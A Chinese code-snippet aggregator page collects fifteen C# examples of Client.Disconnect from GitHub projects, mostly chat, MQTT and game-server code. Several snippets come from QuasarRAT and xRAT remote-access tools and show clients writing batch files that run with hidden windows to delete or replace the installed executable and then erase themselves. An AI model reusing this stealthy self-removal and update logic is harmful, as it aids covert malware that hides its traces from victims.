当前位置: 首页>>代码示例>>C#>>正文


C# Client.Disconnect方法代码示例

本文整理汇总了C#中Client.Disconnect方法的典型用法代码示例。如果您正苦于以下问题:C# Client.Disconnect方法的具体用法?C# Client.Disconnect怎么用?C# Client.Disconnect使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Client的用法示例。


在下文中一共展示了Client.Disconnect方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。

示例1: Main

        static void Main(string[] args)
        {
            // create a client
            var socket = new LocalSocket(IPAddress.Loopback.ToString(), 3900);
            var client = new Client(socket) { AuthToken = "test" };

            // create a server
            var server = Server.Create();

            // spin up the server
            server.Start(new IPEndPoint(IPAddress.Any, 3900));

            // wait a sec
            System.Threading.Thread.Sleep(2000);

            // spin up the client
            Task.Factory.StartNew(() => StartClient(client));

            Console.WriteLine("> Press enter to end the test.");
            Console.ReadLine();

            // disconnect the client
            Console.WriteLine("> Shutting down client.");
            client.Close();
            client.Disconnect();
            Console.WriteLine("> Client has been shutdown.");

            Console.WriteLine("> Shutting down the server.");
            if (server.IsRunning)
                server.Stop(true);
            Console.WriteLine("> Server has been shutdown");

            Console.WriteLine("Done.");
            Console.ReadLine();
        }
开发者ID:JonHaywood,项目名称:Oberon,代码行数:35,代码来源:Program.cs

示例2: Uninstall

        public static void Uninstall(Client client)
        {
            try
            {
                RemoveExistingLogs();

                if (Settings.STARTUP)
                    Startup.RemoveFromStartup();

                if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
                    throw new Exception("Could not clear read-only attribute");

                string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                    throw new Exception("Could not create uninstall-batch file");

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName = batchFile
                };
                Process.Start(startInfo);
                ClientData.Disconnect = true;
                client.Disconnect();
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client);
            }
        }
开发者ID:peters,项目名称:QuasarRAT,代码行数:32,代码来源:ClientUninstaller.cs

示例3: Update

        public static void Update(Client c, string newFilePath)
        {
            try
            {
                FileHelper.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (bytes[0] != 'M' && bytes[1] != 'Z')
                    throw new Exception("no pe file");

                string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile)) throw new Exception("Could not create update batch file.");

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    UseShellExecute = true,
                    FileName = batchFile
                };
                Process.Start(startInfo);

                ClientData.Disconnect = true;
                if (Settings.INSTALL && Settings.STARTUP)
                    Startup.RemoveFromStartup();
                c.Disconnect();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
            }
        }
开发者ID:SkullyKiddo,项目名称:QuasarRAT,代码行数:34,代码来源:ClientUpdater.cs

示例4: Connect

        public void Connect()
        {
            Client c = new Client(new MockMqttBroker());
            c.ClientId = "clientId";

            Assert.IsFalse(c.IsConnected);
            c.Connect(new IPEndPoint(IPAddress.Loopback, 1883)).Wait();
            Assert.IsTrue(c.IsConnected);
            c.Disconnect(TimeSpan.FromSeconds(1));
            Assert.IsFalse(c.IsConnected);
        }
开发者ID:nivertech,项目名称:MQTT,代码行数:11,代码来源:ClientTests.cs

示例5: ConnectAndPing

        public void ConnectAndPing()
        {
            var server = new Server<Server.ChatService, IChatService>("localhost", "12345", "IntegrationTest");
            server.StartServer();

            var client = new Client<IChatService>("localhost", "12345", "IntegrationTest");
            client.Connect();
            client.GetService().Ping();
            client.Disconnect();

            server.StopServer();
        }
开发者ID:DeathlyEnterprises,项目名称:De.ChatService,代码行数:12,代码来源:ChatServiceIntegrationTests.cs

示例6: ClientRead

        private static void ClientRead(Server server, Client client, IPacket packet)
        {
            if (client.Value.IsFlooding())
                client.Disconnect();

            Type packetType = packet.GetType();

            if (client.Value.Authenticated)
            {
                if (packetType == typeof(ClientMessage))
                {
                    HandleClientMessagePacket(client, (ClientMessage)packet);
                }
                else if (packetType == typeof(ChannelListRequest))
                {
                    SendChannels(_server.Clients);
                }
                else if (packetType == typeof(ChangeChannel))
                {
                    HandleChangeChannelPacket(client, (ChangeChannel)packet);
                }
                else if (packetType == typeof(Suggestion))
                {
                    HandleSuggestionPacket(client, (Suggestion)packet);
                }
                else if (packetType == typeof(PrivateMessagesRequest))
                {
                    HandlePrivateMessagesRequestPacket(client);
                }
                else if (packetType == typeof(KeepAlive))
                {
                    HandleKeepAlivePacket(client);
                }
            }
            else
            {
                if (packetType == typeof(Register))
                {
                    HandleRegisterPacket(client, (Register)packet);
                }
                else if (packetType == typeof(Login))
                {
                    HandleLoginPacket(client, (Login)packet);
                }
            }
        }
开发者ID:banksyhf,项目名称:Auxilium-2,代码行数:46,代码来源:Program.cs

示例7: HandleUninstall

        public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Client client)
        {
            new Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);

            SystemCore.RemoveTraces();

            try
            {
                string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                    Helper.Helper.GetRandomFilename(12, ".bat"));

                string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
                    ? "@echo off" + "\n" +
                      "echo DONT CLOSE THIS WINDOW!" + "\n" +
                      "ping -n 20 localhost > nul" + "\n" +
                      "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                      "del " + "\"" + filename + "\""
                    : "@echo off" + "\n" +
                      "echo DONT CLOSE THIS WINDOW!" + "\n" +
                      "ping -n 20 localhost > nul" + "\n" +
                      "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                      "del " + "\"" + filename + "\""
                    ;

                File.WriteAllText(filename, uninstallBatch);
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    UseShellExecute = true,
                    FileName = filename
                };
                Process.Start(startInfo);
            }
            finally
            {
                SystemCore.Disconnect = true;
                client.Disconnect();
            }
        }
开发者ID:he0x,项目名称:xRAT,代码行数:40,代码来源:ConnectionHandler.cs

示例8: Start

    void Start()
    {
        this.client = new Client(this);
        this.client.Connect(); // Authenticate automatique


        if (Input.GetKeyDown(KeyCode.A))
        {
            client.Authenticate();
        }
        if (Input.GetKeyDown(KeyCode.D))
        {
            client.Disconnect();
        }
        if (Input.GetKeyDown(KeyCode.C))
        {
            client.Connect();
        }
        if (Input.GetKeyDown(KeyCode.Z))
        {
            client.Send("Bonjour la france !");
        }
    }
开发者ID:CanPayU,项目名称:SuperSwungBall,代码行数:23,代码来源:ClientManager.cs

示例9: Uninstall

        public static void Uninstall(Client client)
        {
            if (!Settings.INSTALL)
            {
                new Packets.ClientPackets.SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
                return;
            }

            RemoveExistingLogs();

            if (Settings.STARTUP)
                Startup.RemoveFromStartup();

            try
            {
                if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
                    new Packets.ClientPackets.SetStatus("Uninstallation failed: File is read-only").Execute(client);

                string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile)) return;

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    UseShellExecute = true,
                    FileName = batchFile
                };
                Process.Start(startInfo);
            }
            finally
            {
                ClientData.Disconnect = true;
                client.Disconnect();
            }
        }
开发者ID:SkullyKiddo,项目名称:QuasarRAT,代码行数:37,代码来源:ClientUninstaller.cs

示例10: EnchantItem

 static void EnchantItem(ItemUsage itemUsage, Client.GameState client)
 {
     Interfaces.IConquerItem Item = null, EnchantGem = null;
     if (client.Inventory.TryGetItem(itemUsage.UID, out Item) && client.Inventory.TryGetItem(itemUsage.dwParam, out EnchantGem))
     {
         byte gemBase = (byte)(EnchantGem.ID % 1000);
         UInt32 iType = Item.ID / 1000;
         Positions pos = GetPositionFromID(Item.ID);
         if (pos == Positions.Garment)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.RightAccessory)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.LeftAccessory)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.Bottle)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.Steed)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.SteedArmor)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.SteedTalisman)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.AttackTalisman)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (pos == Positions.DefenceTalisman)
         {
             client.Account.State = Database.AccountTable.AccountState.Cheat;
             client.Account.Savekimo();
             client.Disconnect();
             return;
         }
         if (Enum.IsDefined(typeof(Game.Enums.Gem), gemBase))
         {
             byte Enchant = 0;
             switch (EnchantGem.ID % 10)
             {
                 case 1:
                     {
                         Enchant = (byte)ServerBase.Kernel.Random.Next(1, 59);
                         break;
                     }
                 case 2:
                     {
                         if (EnchantGem.ID == 700012)
                             Enchant = (byte)ServerBase.Kernel.Random.Next(100, 159);
                         else if (EnchantGem.ID == 700002 || EnchantGem.ID == 700052 || EnchantGem.ID == 700062)
                             Enchant = (byte)ServerBase.Kernel.Random.Next(60, 109);
                         else if (EnchantGem.ID == 700032)
                             Enchant = (byte)ServerBase.Kernel.Random.Next(80, 129);
                         else
                             Enchant = (byte)ServerBase.Kernel.Random.Next(40, 89);
                         break;
                     }
                 default:
                     {
                         if (EnchantGem.ID == 700013)
                             Enchant = (byte)ServerBase.Kernel.Random.Next(200, 255);
                         else if (EnchantGem.ID == 700003 || EnchantGem.ID == 700073 || EnchantGem.ID == 700033)
                             Enchant = (byte)ServerBase.Kernel.Random.Next(170, 229);
                         else if (EnchantGem.ID == 700063 || EnchantGem.ID == 700053)
//.........这里部分代码省略.........
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:101,代码来源:PacketHandler.cs

示例11: HandlePacket


//.........这里部分代码省略.........
                                                UnequipItem(usage, client);

                                                break;
                                            }
                                        case ItemUsage.BuyFromNPC:
                                            {
                                                HandleBuyFromNPC(usage, client);
                                                break;
                                            }
                                        case ItemUsage.SellToNPC:
                                            {
                                                HandleSellToNPC(usage, client);
                                                break;
                                            }
                                        case ItemUsage.Repair:
                                            {
                                                HandleRepair(usage, client);
                                                break;
                                            }
                                        case ItemUsage.MeteorUpgrade:
                                        case ItemUsage.DragonBallUpgrade:
                                            {
                                                UpgradeItem(usage, client);
                                                break;
                                            }
                                        case ItemUsage.Ping:
                                            {
                                                if (Time32.Now < client.LastPing.AddSeconds(2))
                                                {
                                                    client.PingCount++;
                                                    if (client.PingCount == 40)
                                                    {
                                                        client.Send(new Message("Speed hack detected!", System.Drawing.Color.BlanchedAlmond, Message.TopLeft));
                                                        client.Disconnect();
                                                        return;
                                                    }
                                                }

                                                client.LastPingT = client.LastPing;
                                                client.LastPing = Time32.Now;

                                                if (client.LastPing > client.LastPingT.AddSeconds(2))
                                                    client.PingCount = 0;
                                                usage.TimeStamp += 200;
                                                client.Send(ReturnFinal(packet));
                                                client.Send(usage);

                                                break;
                                            }
                                        case ItemUsage.ViewWarehouse:
                                            {
                                                usage.dwParam = client.MoneySave;
                                                client.Send(usage);
                                                break;
                                            }
                                        case ItemUsage.WarehouseDeposit:
                                            {
                                                if (client.Entity.Money >= usage.dwParam)
                                                {
                                                    client.Entity.Money -= usage.dwParam;
                                                    client.MoneySave += usage.dwParam;
                                                }
                                                break;
                                            }
                                        case ItemUsage.WarehouseWithdraw:
                                            {
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:67,代码来源:PacketHandler.cs

示例12: CheckCommand


//.........这里部分代码省略.........
                                            client.Entity.Teleport(pClient.Entity.MapID, pClient.Entity.X, pClient.Entity.Y);
                                        }
                                    }
                                    break;
                                }
                            case "bring":
                                {
                                    foreach (var pClient in ServerBase.Kernel.GamePool.Values)
                                    {
                                        if (pClient.Entity.Name.ToLower().Contains(Data[1]) || Data[1].ToLower() == "all")
                                            if (Data[1].ToLower() == "all")
                                            {
                                                pClient.Entity.Teleport(client.Entity.MapID,
                                                    (ushort)Kernel.Random.Next(client.Entity.X - 5, client.Entity.X + 5),
                                                    (ushort)Kernel.Random.Next(client.Entity.Y - 5, client.Entity.Y + 5));
                                            }
                                            else
                                                pClient.Entity.Teleport(client.Entity.MapID, client.Entity.X, client.Entity.Y);

                                    }
                                    break;
                                }
                            case "restart":
                                {
                                    Program.CommandsAI("@restart");
                                    break;
                                }
                            case "kick":
                                {
                                    foreach (var Client in ServerBase.Kernel.GamePool.Values)
                                    {
                                        if (Client.Entity.Name.ToLower().Contains(Data[1]))
                                        {
                                            Client.Disconnect();
                                            break;
                                        }
                                    }
                                    break;
                                }
                            case "ban":
                                {
                                    foreach (var Client in ServerBase.Kernel.GamePool.Values)
                                    {
                                        if (Client.Account.State >= client.Account.State)
                                            continue;
                                        if (Client.Entity.Name.ToLower().Contains(Data[1]))
                                        {
                                            Client.Account.State = PhoenixProject.Database.AccountTable.AccountState.Banned;
                                            Client.Account.Savekimo();
                                            Client.Disconnect();
                                            break;
                                        }
                                    }
                                    break;
                                }
                            case "unban":
                                {
                                    var Account = new Database.AccountTable(Data[1]);
                                    if (Account.State == PhoenixProject.Database.AccountTable.AccountState.Banned)
                                    {
                                        Account.State = PhoenixProject.Database.AccountTable.AccountState.Player;
                                        Account.Savekimo();
                                    }
                                    break;
                                }
                            case "chatban":
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:67,代码来源:PacketHandler.cs

示例13: ComposePlus

        static void ComposePlus(Compose compose, Client.GameState client)
        {
            Interfaces.IConquerItem Item = null, ItemPlus = null;
            if (client.Inventory.TryGetItem(compose.ItemUID, out Item) && client.Inventory.TryGetItem(compose.PlusItemUID, out ItemPlus))
            {
                UInt32 iType = Item.ID / 1000;
                Positions pos = GetPositionFromID(Item.ID);
                if (pos == Positions.Garment)
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                    return;
                }
                if (pos == Positions.RightAccessory)
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                    return;
                }
                if (pos == Positions.LeftAccessory)
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                    return;
                }
                if (pos == Positions.Bottle)
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                    return;
                }

                if (pos == Positions.SteedArmor)
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                    return;
                }

                if (compose.ItemUID == compose.PlusItemUID)
                    return;
                switch (compose.Mode)
                {
                    case Compose.CurrentSteed:
                    case Compose.Plus:
                        {
                            if (Item.Plus < 12)
                            {
                                uint pluss = Item.Plus;
                                Item.PlusProgress += Database.DataHolder.StonePlusPoints(ItemPlus.Plus);
                                while (Item.PlusProgress >= Database.DataHolder.ComposePlusPoints(Item.Plus) && Item.Plus != 12)
                                {

                                    Item.PlusProgress -= Database.DataHolder.ComposePlusPoints(Item.Plus);
                                    Item.Plus++;
                                    if (Item.Plus == 12)
                                        Item.PlusProgress = 0;
                                }
                                Item.Mode = PhoenixProject.Game.Enums.ItemMode.Update;
                                Item.Send(client);
                                Database.ConquerItemTable.UpdatePlus(Item);
                                Database.ConquerItemTable.UpdatePlusProgress(Item);
                                client.Inventory.Remove(ItemPlus, PhoenixProject.Game.Enums.ItemUse.Remove);
                                if (Item.Plus >= 9 && pluss != Item.Plus)
                                    ServerBase.Kernel.SendWorldMessage(new Message("Congratulations, " + client.Entity.Name + " has upgraded His " + Database.ConquerItemInformation.BaseInformations[Item.ID].Name + " to + [" + Item.Plus + "] !", System.Drawing.Color.Red, Network.GamePackets.Message.TopLeft), ServerBase.Kernel.GamePool.Values);
                            }
                            break;
                        }
                    case Compose.NewSteed:
                        {
                            if (Item.Plus < 12)
                            {
                                Item.PlusProgress += Database.DataHolder.StonePlusPoints(ItemPlus.Plus);
                                while (Item.PlusProgress >= Database.DataHolder.ComposePlusPoints(Item.Plus) && Item.Plus != 12)
                                {
                                    Item.PlusProgress -= Database.DataHolder.ComposePlusPoints(Item.Plus);
                                    Item.Plus++;
                                    if (Item.Plus == 12)
                                        Item.PlusProgress = 0;
                                }
                                Item.Mode = PhoenixProject.Game.Enums.ItemMode.Update;
                                Item.Send(client);
                                Database.ConquerItemTable.UpdatePlus(Item);
                                client.Inventory.Remove(ItemPlus, PhoenixProject.Game.Enums.ItemUse.Remove);
                            }
                            int color1 = (int)Item.SocketProgress;
                            int color2 = (int)ItemPlus.SocketProgress;
                            int B1 = color1 & 0xFF;
                            int B2 = color2 & 0xFF;
                            int G1 = (color1 >> 8) & 0xFF;
                            int G2 = (color2 >> 8) & 0xFF;
                            int R1 = (color1 >> 16) & 0xFF;
                            int R2 = (color2 >> 16) & 0xFF;
                            int newB = (int)Math.Floor(0.9 * B1) + (int)Math.Floor(0.1 * B2);
                            int newG = (int)Math.Floor(0.9 * G1) + (int)Math.Floor(0.1 * G2);
//.........这里部分代码省略.........
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:101,代码来源:PacketHandler.cs

示例14: SetLocation

        static void SetLocation(Data generalData, Client.GameState client)
        {
            if (!client.Entity.FullyLoaded) client.Disconnect();

            if (client.Guild != null)
                client.Guild.SendGuild(client);
            foreach (Game.ConquerStructures.Society.Guild guild in ServerBase.Kernel.Guilds.Values)
            {
                guild.SendName(client);
                guild.SendName(client);
            }
            Game.Clans clan = client.Entity.Myclan;
            if (clan != null)
            {
                //clan.Build(client, Game.Clan_Typ.Info);
                //client.Send(clan);

                client.Entity.ClanName = clan.ClanName;

                client.Send(new ClanRelations(clan, ClanRelations.RelationTypes.Allies));
                client.Send(new ClanRelations(clan, ClanRelations.RelationTypes.Enemies));
            }

            if (client.Entity.EnlightmentTime > 0)
            {
                Enlight enlight = new Enlight(true);
                enlight.Enlighted = client.Entity.UID;
                enlight.Enlighter = 0;

                if (client.Entity.EnlightmentTime > 80)
                    client.Entity.EnlightmentTime = 100;
                else if (client.Entity.EnlightmentTime > 60)
                    client.Entity.EnlightmentTime = 80;
                else if (client.Entity.EnlightmentTime > 40)
                    client.Entity.EnlightmentTime = 60;
                else if (client.Entity.EnlightmentTime > 20)
                    client.Entity.EnlightmentTime = 40;
                else if (client.Entity.EnlightmentTime > 0)
                    client.Entity.EnlightmentTime = 20;
                for (int count = 0; count < client.Entity.EnlightmentTime; count += 20)
                {
                    client.Send(enlight);
                }
            }

            if (client.Entity.Hitpoints != 0)
            {
                if (client.Map.ID == 1036 || client.Map.ID == 1039)
                {
                    if (client.Entity.PreviousMapID == 0)
                        client.Entity.SetLocation(1002, 430, 378);
                    else
                    {
                        switch (client.Entity.PreviousMapID)
                        {
                            default:
                                {
                                    client.Entity.SetLocation(1002, 429, 378);
                                    break;
                                }
                            case 1000:
                                {
                                    client.Entity.SetLocation(1000, 500, 650);
                                    break;
                                }
                            case 1020:
                                {
                                    client.Entity.SetLocation(1020, 565, 562);
                                    break;
                                }
                            case 1011:
                                {
                                    client.Entity.SetLocation(1011, 188, 264);
                                    break;
                                }
                            case 1015:
                                {
                                    client.Entity.SetLocation(1015, 717, 571);
                                    break;
                                }
                        }
                    }
                }
            }
            else
            {
                ushort[] Point = Database.DataHolder.FindReviveSpot(client.Map.ID);
                client.Entity.SetLocation(Point[0], Point[1], Point[2]);
            }
            generalData.dwParam = (uint)client.Map.BaseID;
            generalData.wParam1 = client.Entity.X;
            generalData.wParam2 = client.Entity.Y;
            client.Send(generalData);
        }
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:94,代码来源:PacketHandler.cs

示例15: Chat


//.........这里部分代码省略.........
                                {
                                    if (friend.Name == message._To)
                                    {
                                        message.__Message = message.__Message.Replace("'", "¹");
                                        client.OnMessageBoxEventParams = new object[3];
                                        client.OnMessageBoxEventParams[0] = client.Entity.UID;
                                        client.OnMessageBoxEventParams[1] = friend.ID;
                                        client.OnMessageBoxEventParams[2] = Console.TimeStamp() + message.__Message;
                                        client.OnMessageBoxOK =
                                            delegate
                                            {
                                                Database.KnownPersons.UpdateMessageOnFriend(Convert.ToUInt32(client.OnMessageBoxEventParams[0]), Convert.ToUInt32(client.OnMessageBoxEventParams[1]), Convert.ToString(client.OnMessageBoxEventParams[2]));
                                                client.Send(new Message("Message sent!", System.Drawing.Color.Green, Message.TopLeft));
                                            };
                                        client.OnMessageBoxCANCEL =
                                            delegate
                                            {
                                                client.OnMessageBoxEventParams = new object[0];
                                            };
                                        client.Send(new NpcReply(NpcReply.MessageBox, "To " + friend.Name + ": \r\n" + message.__Message + "\r\n\r\nSend? (It will replace other messages.)"));
                                        return;
                                    }
                                }
                                client.Send(new Message("The player is not online.", System.Drawing.Color.Orange, Message.Service));
                                break;
                            }
                        case Message.Service:
                            {
                                foreach (Client.GameState pClient in ServerBase.Kernel.GamePool.Values)
                                {
                                    if (pClient.Account.State == Database.AccountTable.AccountState.GameMaster || pClient.Account.State == Database.AccountTable.AccountState.ProjectManager)
                                    {
                                        message.ChatType = Message.Talk;
                                        string _Message = "Service-> " + client.Entity.Name + " needs your help. Respond to him/her right now!!!";
                                        message.__Message = _Message;
                                        pClient.Send(message);
                                        return;
                                    }
                                }
                                break;
                            }
                        case Message.World:
                            {
                                if (client.Entity.Level >= 70 || client.Entity.Reborn != 0)
                                {
                                    foreach (Client.GameState pClient in ServerBase.Kernel.GamePool.Values)
                                    {
                                        if (pClient != null)
                                        {
                                            if (pClient.Entity.UID != client.Entity.UID)
                                                message._From = client.Entity.Name;//kimozo
                                            pClient.Send(message);
                                        }
                                    }
                                }
                                break;
                            }
                        case Message.Guild:
                            {
                                if (client.Guild != null)
                                    client.Guild.SendGuildMessage(message);
                                break;
                            }
                        case Message.Team:
                            {
                                if (client.Team != null)
                                {
                                    foreach (Client.GameState Client in client.Team.Teammates)
                                    {
                                        if (client.Entity.UID != Client.Entity.UID)
                                            Client.Send(message);
                                    }
                                }
                                break;
                            }
                        case Message.Friend:
                            {
                                foreach (Game.ConquerStructures.Society.Friend friend in client.Friends.Values)
                                {
                                    if (friend.IsOnline)
                                        friend.Client.Send(message);
                                }
                                break;
                            }
                        default:
                            {
                                client.SendScreen(message, true);
                                break;
                            }

                    }
                }
                else
                {
                    client.Account.State = Database.AccountTable.AccountState.Cheat;
                    client.Account.Savekimo();
                    client.Disconnect();
                }
            }
        }
开发者ID:Mromany,项目名称:Conquista5679-TheHunterSource-,代码行数:101,代码来源:PacketHandler.cs


注:本文中的Client.Disconnect方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。